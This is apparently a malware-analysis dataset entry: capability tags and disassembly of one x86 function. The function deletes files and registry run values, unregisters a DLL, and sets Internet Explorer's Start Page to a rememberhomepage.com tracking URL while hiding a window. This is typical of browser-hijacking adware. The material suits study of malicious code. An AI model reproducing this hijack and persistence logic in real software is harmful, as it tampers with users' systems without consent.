Function at 0x4020e0
Capabilities:
Delete file
Delete registry value
Get file attributes
Hide graphical window
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x750
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push eax
push 0x64
push 0x40562c
mov dword [esp + 0x24], 0x104
xor bl, bl
call fcn.0040372c
add esp, 8
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40214b
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x148]
push edx
push eax
push eax
mov eax, dword [esp + 0x24]
push str.Path
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40213c
mov bl, 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x402179
push 0x104
lea edx, [esp + 0x148]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x144]
push 0x5c
push eax
call fcn.00403330
add esp, 8
test eax, eax
je 0x402179
mov byte [eax], 0
push edi
call fcn.004033c1
mov ecx, dword [str.__ISA_]
mov dx, word [0x4055d8]
mov al, byte [0x4055da]
lea edi, [esp + 0x454]
mov dword [esp + 0x454], ecx
mov word [esp + 0x458], dx
mov byte [esp + 0x45a], al
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4021b0
mov ecx, dword [str.UPDATE__]
mov edx, dword [0x4055cc]
mov al, byte [0x4055d0]
mov dword [edi], ecx
lea ecx, [esp + 0x454]
push ecx
push 0
mov dword [edi + 4], edx
push 0x1f0003
mov byte [edi + 8], al
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
mov esi, eax
test esi, esi
je 0x4021fa
push esi
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x5f
push 0x4055bc
call fcn.0040372c
push eax
call fcn.00403afa
add esp, 0xc
test eax, eax
je 0x40223d
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
lea esp, [esp]
push 0xa
call esi
push 0x5f
push 0x4055bc
call fcn.0040372c
push eax
call fcn.00403afa
add esp, 0xc
test eax, eax
jne 0x402220
xor eax, eax
nop
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402240
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402255
mov dx, word [0x405670]
push 0x5f
push 0x4055bc
mov word [edi], dx
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402278
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402286
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4022b0
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4022c5
mov cx, word [0x405670]
push 0x5f
push 0x4055b0
mov word [edi], cx
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4022e8
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4022f6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x44]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x402320
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402320
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402335
mov ax, word [0x405670]
push 0x5f
push 0x4055a4
mov word [edi], ax
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402357
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402365
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
call ebx
xor eax, eax
jmp 0x402390
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402390
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023a5
mov dx, word [0x405670]
push 0x5f
push 0x405598
mov word [edi], dx
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023c8
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4023d6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x44]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x402400
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402400
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402415
mov ecx, dword [str.ot.ico]
mov edx, dword [0x405594]
lea eax, [esp + 0x44]
mov dword [edi], ecx
push eax
mov dword [edi + 4], edx
call ebx
xor eax, eax
jmp 0x402440
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402440
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402455
mov ecx, dword [str._ts.ico]
mov edx, dword [0x40558c]
lea eax, [esp + 0x44]
mov dword [edi], ecx
push eax
mov dword [edi + 4], edx
call ebx
xor eax, eax
jmp 0x402480
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402480
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402495
mov cx, word [0x405670]
push 0x5f
push 0x405580
mov word [edi], cx
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024b8
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4024c6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0x44]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x4024f0
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x4024f0
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402505
mov ax, word [0x405670]
push 0x5f
push 0x405574
mov word [edi], ax
call fcn.0040372c
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402527
lea edi, [esp + 0x44]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402535
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov esi, eax
test esi, esi
je 0x402579
push str.DllUnregisterServer
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x402576
call eax
push esi
call ebp
lea edx, [esp + 0x44]
push edx
call ebx
xor eax, eax
mov cl, byte [esp + eax + 0x148]
mov byte [esp + eax + 0x44], cl
inc eax
test cl, cl
jne 0x402582
lea edi, [esp + 0x44]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402597
mov ax, word [0x405670]
push 0x5f
push 0x405554
mov word [edi], ax
call fcn.0040372c
add esp, 8
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4025c0
lea edi, [esp + 0x44]
sub eax, esi
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4025d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
call ebx
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x350]
rep movsd dword es:[edi], dword [esi]
push 0x64
push 0x405508
movsb byte es:[edi], byte [esi]
call fcn.0040372c
add esp, 8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402612
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402625
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x350]
mov ecx, eax
push edx
and ecx, 3
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call fcn.00402050
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x358]
rep movsd dword es:[edi], dword [esi]
push 0x5f
push 0x4054f4
movsb byte es:[edi], byte [esi]
call fcn.0040372c
add esp, 0x10
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402672
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402685
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x350]
push eax
and ecx, 3
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call fcn.00402050
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [esp + 0x358]
rep movsd dword es:[edi], dword [esi]
push 0x5f
push 0x4054e4
movsb byte es:[edi], byte [esi]
call fcn.0040372c
add esp, 0x10
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4026d2
lea edi, [esp + 0x350]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4026e5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x350]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00402050
mov ecx, 5
mov esi, str.multimediaControls.chl
lea edi, [esp + 0x254]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [esp + 0x254]
push edx
push SysReAllocString
movsb byte es:[edi], byte [esi]
call fcn.00402050
mov eax, dword [str.videoPl.chl]
mov ecx, dword [0x4054c4]
mov edx, dword [0x4054c8]
mov dword [esp + 0x25c], eax
lea eax, [esp + 0x25c]
push eax
push SysReAllocString
mov dword [esp + 0x268], ecx
mov dword [esp + 0x26c], edx
call fcn.00402050
mov eax, dword [0x4054b4]
mov ecx, dword [str.multimediaPl.chl]
mov edx, dword [0x4054b0]
mov dword [esp + 0x26c], eax
lea eax, [esp + 0x264]
mov dword [esp + 0x264], ecx
mov ecx, dword [0x4054b8]
mov dword [esp + 0x268], edx
mov dl, byte [0x4054bc]
push eax
push SysReAllocString
mov dword [esp + 0x278], ecx
mov byte [esp + 0x27c], dl
call fcn.00402050
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 0x20
lea ecx, [esp + 0x14]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesexplorer_run
push reloc.OLEAUT32.dll_SysReAllocString
call edi
test eax, eax
jne 0x402806
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.some
push edx
call esi
mov eax, dword [esp + 0x14]
push str.start
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x14]
push edx
push 0x64
push 0x40562c
call fcn.0040372c
add esp, 8
push eax
push SysReAllocString
call edi
test eax, eax
pop edi
jne 0x4029b2
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x558]
push ecx
push 0
push 0
push str.65333
push edx
mov dword [esp + 0x2c], 0x103
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402987
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.004032f4
call fcn.004032fe
cdq
mov ecx, 0xa
idiv ecx
mov bl, dl
call fcn.004032fe
cdq
mov ecx, 0xa
idiv ecx
push 0xff78
mov byte [esp + 0x17], dl
call fcn.004012c0
mov ecx, dword [esp + 0x18]
add esp, 8
lea edx, [esp + 0x14]
push edx
mov esi, eax
lea eax, [esp + 0x558]
push eax
push 0
push 0
push str.65333
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402987
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push 0xff79
call fcn.004012c0
push 0xff7a
mov dword [esp + 0x20], eax
call fcn.004012c0
add esp, 8
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
movzx eax, word [esp + 0x2c]
movzx ecx, word [esp + 0x2a]
lea edx, [esp + 0x554]
push edx
movzx edx, word [esp + 0x2c]
push eax
movzx eax, word [esp + 0x2e]
push ecx
movzx ecx, word [esp + 0x2e]
push edx
movzx edx, word [esp + 0x30]
push eax
movzx eax, word [esp + 0x50]
push ecx
movzx ecx, word [esp + 0x52]
push edx
movzx edx, word [esp + 0x54]
push eax
movzx eax, word [esp + 0x56]
push ecx
movzx ecx, word [esp + 0x56]
push edx
movzx edx, word [esp + 0x58]
push eax
movsx eax, byte [esp + 0x3b]
push ecx
push edx
push eax
movsx ecx, bl
push esi
push ecx
lea edx, [esp + 0x698]
push str.http:__www.rememberhomepage.com__cm_1.1d_d_1.1dlt1it_4.4d__2.2d__2.2d__20_2.2d__3A_2.2d__3A_2.2ddt_4.4d__2.2d__2.2d__20_2.2d__3A_2.2d__3A_2.2dq_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x6a0]
push eax
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call fcn.00403c12
add esp, 0x58
push 0
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
pop ebx
add esp, 0x750
ret